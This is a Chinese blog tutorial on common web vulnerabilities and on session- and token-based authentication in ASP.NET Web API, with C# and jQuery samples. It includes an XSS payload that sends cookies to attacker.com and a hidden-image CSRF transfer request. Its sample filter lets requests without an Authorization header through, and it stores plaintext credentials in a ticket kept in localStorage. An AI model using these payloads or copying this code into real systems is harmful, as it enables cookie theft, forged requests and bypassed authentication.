第八节：常见安全隐患和传统的基于Session和Token的安全校验

一. 常见的安全隐患

1. SQL注入

常见的案例：

String query = "SELECT * FROM T_User WHERE userID='" + Request["userID"] + "';

这个时候，只需要在传递过来的userID后面加上个： or 1=1，即可以获取T_User表中的所有数据了。

解决方案：参数化查询。

2. 跨站脚本攻击(Cross-Site Scripting (XSS))

允许跨站脚本是Web 2.0时代网站最普遍的问题。如果网站没有对用户提交的数据加以验证而直接输出至网页，那么恶意用户就可以在网页中注入脚本来窃取用户数据。

eg：通过后台代码编写前端代码进行输出

1 string page += "<input name='userName' type='TEXT' value='" + request.getParameter("CC") + "'>";

攻击者只要输入以下数据：

'><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi ?foo='+document.cookie</script>'

当该数据被输出到页面的时候，每个访问该页面的用户cookie就自动被提交到了攻击者定义好的网站。

解决方案：输入的数据要进行安全校验和转义

3.跨站请求伪造(Cross-Site Request Forgery (CSRF) )

同样是跨站请求，这种与上面XSS的不同之处在于这个请求是从钓鱼网站上发起的。

比如钓鱼网站包含了下面代码：

<img src="http://example.com/app/transferFunds?amount=1500&amp;destinationAccount=attackersAcct#" width="0" height="0" />

这行代码的作用就是一个在example.com网站的转帐请求，客户访问钓鱼网站时，如果也同时登录了example.com或者保留了example.com的登录状态，那个相应的隐藏请求就会被成功执行。

解决方案：

　　使用Token校验，保存好Token，比如：JWT校验。

二. 两类系统要解决的常见问题

1. Web系统

(1).是否登录. 没有登录话是不能进入登录以外的页面，即使访问，也要返回到自动进入登录页面。

(2).是否有权限. 权限的展现分两种：a. 没有权限的话直接不显示. b. 没有权限但是显示，单击的时候提示没有权限。

2.APP接口

(1).接口安全，不是任何人都能访问的，必须登录后才能访问，当然也有一部分不需要登录。

(2).防止接口被知道参数后任何能直接访问，要有校验，即使地址暴露别人也访问不通。

三. 传统的基于Session的校验

1. 前言

　　基于Session的校验，通常是用在管理系统中或者网站上，不适用于APP接口或者前后端分离的项目。

PS：复习一下Session的原理：https://www.cnblogs.com/yaopengfei/p/8057176.html

2. 步骤

①：登录成功，将用户信息(一个实体)和该用户对应的权限信息存放到Session中。

②：对所有的页面的展示的地址(前提需要登录后才能显示的),加上一个过滤器，在过滤器中判断该用户是否登录过，没有登录的话直接退回到登录页面。

③：对所有的业务操作的方法加上一个过滤器，在过滤器中判断该用户是否该权限，没有的话，直接提示没有权限。

注：以上②和③中的过滤器里，都需要到Session中取值。

3. 基于Session验证的弊端

①：Session经常过期回收，导致Session为空，是一些业务操作莫名其妙的没法使用。可以改进为使用数据库的Session，会好很多。

②：由于Session的原理可知，在同一个浏览器中，先后用不同账号登录，先登录的账号Session中的信息会被后登陆账号Session中的信息覆盖。

③：每个用户登录一次，就需要往Session做一次记录，而Session默认是保存在服务器内存中的，随着认证的用户增多，服务器端开销明显增大。

④：不能进行负载均衡，保存在内存中，下次还需要到这台服务器上才能拿到授权。

⑤：Session是基于Cookie，如果Cookie被截获，用户很容易受到跨站请求伪造攻击(CSRF)。

四. 传统的基于Token的校验

1. 背景

　　APP项目或者其它前后端分离的项目，Session验证用不了，只能用基于token的验证。当然Web项目也可以采用这种方式。

2. 步骤

①：通过账号和密码登录成功，服务端生成一个token(比如：32位不重复的随机字符串)。

②：服务端把该token和用户id保存到数据库(SQLServer或Redis)或者Session中，然后把token值返回给前端。

③：客户端每次请求都带上该token，服务端根据该token来查询是否合法和过期，然后去数据库中查出来用户id进行使用。

3. 弊端

①：验证信息如果存在数据库中，每次都要根据token查用户id，增加了数据库的开销。

②：验证信息如果存在Session中，则增大了服务器端存储的压力。

③：token一旦被截取，就很容易进行跨站请求伪造。

4. 鉴于以上弊端进行思考

①：如果token遵从一定规律，使用对称加密算法来加密用户id生成token，服务器端只要解密该token，就能知道用户id了，不需要额外的开销。但是，如果对称加密算法泄露了，别人也可以伪造token了。

②：如果我们用非对称加密算法来做呢，保存好秘钥，就不存在上面的问题了，从而引出JWT类似于该原理。

5. 实战案例(基于Token的小升级)

A. 步骤

(1) 登录成功，将账号和密码按照一定格式进行拼接成字符串，然后进行票据加密（对称加密，这其中可以设置很多东西，比如过期时间），将生成的ticket返回给客户端。

(2) 客户端可以把该ticket值存到localstorage中，每次请求在表头进行附加。

(3) 服务器端写一个过滤器，对该ticket进行解密，拿到账号和密码，去数据库中查询，是否匹配，如果匹配则验证通过。

B. 深度分析

同样存在被截取的问题，加密算法如果被人知道，容易被伪造

服务器端验证：见CheckPer0.cs

C. 代码分享

(1). 服务器端校验登录的代码

 1        /// <summary>
 2         /// 模拟登陆
 3         /// </summary>
 4         /// <param name="userAccount"></param>
 5         /// <param name="pwd"></param>
 6         /// <returns></returns>
 7         [HttpGet]
 8         public string Login0(string userAccount, string pwd)
 9         {
10             //这里实际应该去数据库验证，此处暂时用固定值写死
11             if (userAccount == "admin" && pwd == "123456")
12             {
13                 FormsAuthenticationTicket ticketObject = new FormsAuthenticationTicket(0, userAccount, DateTime.Now, DateTime.Now.AddHours(1), true, $"{userAccount}&{pwd}", FormsAuthentication.FormsCookiePath);
14                 var result = new { result = "ok", ticket = FormsAuthentication.Encrypt(ticketObject) };
15                 return JsonConvert.SerializeObject(result);
16             }
17             else
18             {
19                 var result = new { result = "error" };
20                 return JsonConvert.SerializeObject(result);
21             }
22         }

(2). 客户端调用登录的代码

　　获取成功，将token值存放到localStorage中。

 1               $.get("/api/Seventh/Login0", { userAccount: "admin", pwd: "123456" }, function (data) {
 2                     var jsonData = JSON.parse(data);
 3                     if (jsonData.result == "ok") {
 4                         console.log(jsonData.ticket);
 5                         //存放到本地缓存中
 6                         window.localStorage.setItem("myTicket", jsonData.ticket);
 7                         alert("登录成功,ticket=" + jsonData.ticket);
 8                     } else {
 9                         alert("登录失败");
10                     }
11                 });

(3). 服务器端过滤器代码

　　该过滤器中通过 actionContext.Request.Headers.Authorization 获取固定的参数位：Authorization，然后通过 authorizationModel.Parameter 获取参数值，前端需要分割一下，如下：

　　当然还有很多别的赋值和获取的方式，详细的见下面章节。

 1  /// <summary>
 2     /// 基于token的小升级
 3     /// 过滤器
 4     /// </summary>
 5     public class CheckPer0 : AuthorizeAttribute
 6     {
 7         public override void OnAuthorization(HttpActionContext actionContext)
 8         {
 9             //1. 获取报文头（固定的参数位 Authorization）
10             var authorizationModel = actionContext.Request.Headers.Authorization;
11             //2. 如果标注了[AllowAnonymous]特性，则不进行验证
12             if (actionContext.ActionDescriptor.GetCustomAttributes<AllowAnonymousAttribute>(true).Count != 0
13                || actionContext.ActionDescriptor.ControllerDescriptor.GetCustomAttributes<AllowAnonymousAttribute>(true).Count != 0)
14             {
15                 //base.OnAuthorization(actionContext);
16             }
17             else if (authorizationModel != null && authorizationModel.Parameter != null)
18             {
19                 try
20                 {
21                     //逻辑验证
22                     //解密 
23                     var strTicket = FormsAuthentication.Decrypt(authorizationModel.Parameter).UserData;
24                     //此处应该去数据库验证
25                     if (strTicket.Equals("admin&123456"))
26                     {
27                         //表示校验通过,用于向控制器中传值
28                         actionContext.RequestContext.RouteData.Values.Add("auth", strTicket);
29                     }
30                     else
31                     {
32                         base.HandleUnauthorizedRequest(actionContext);//返回没有授权
33                     }
34                 }
35                 catch (Exception)
36                 {
37 
38                     base.HandleUnauthorizedRequest(actionContext);//返回没有授权
39                 }
40             }
41         }
42     }

(4). 服务器端加密后获取信息的代码

 1         /// <summary>
 2         /// 加密后获取信息
 3         /// </summary>
 4         /// <returns></returns>
 5         [HttpGet]
 6         [CheckPer0]
 7         public string GetInfor0()
 8         {
 9             var userData = RequestContext.RouteData.Values["auth"].ToString();
10             if (string.IsNullOrEmpty(userData))
11             {
12                 var result = new { Message = "error", data = "" };
13                 return JsonConvert.SerializeObject(result);
14             }
15             else
16             {
17                 var result = new { Message = "ok", data = userData };
18                 return JsonConvert.SerializeObject(result);
19             }
20         }

(5). 客户端调用获取信息的代码

 1                //从本地缓存中读取token值
 2                 var myTicket = window.localStorage.getItem("myTicket");
 3                 $.ajax({
 4                     url: "/api/Seventh/GetInfor0",
 5                     type: "Get",
 6                     data: {},
 7                     datatype: "json",
 8                     beforeSend: function (xhr) {
 9                         //Authorization 是一个固定的参数位置，本来就有这个参数，后台方便获取，当然也可以自己命名
10                         //在myTicket前面加个BasicAuth1 只是为了后台.Parameter能获取到而已，至于叫什么名，没有关系
11                         xhr.setRequestHeader("Authorization", 'BasicAuth1 ' + myTicket)
12                     },
13                     success: function (data) {
14                         console.log(data);
15                         alert(data);
16                     },
17                     //当安全校验未通过的时候进入这里
18                     error: function (xhr) {
19                         if (xhr.status == 401) {
20                             console.log(xhr.responseText);
21                             alert("授权未通过");
22                         }
23                     }
24                 });

(6). 运行结果

作者 : Yaopengfei(姚鹏飞)
博客地址 : http://www.cnblogs.com/yaopengfei/
声明1 : 本人才疏学浅，用郭德纲的话说“我是一个小学生”，如有错误，欢迎讨论，请勿谩骂^_^。
声明2 : 原创博客请在转载时保留原文链接或在文章开头加上本人博客地址，否则保留追究法律责任的权利。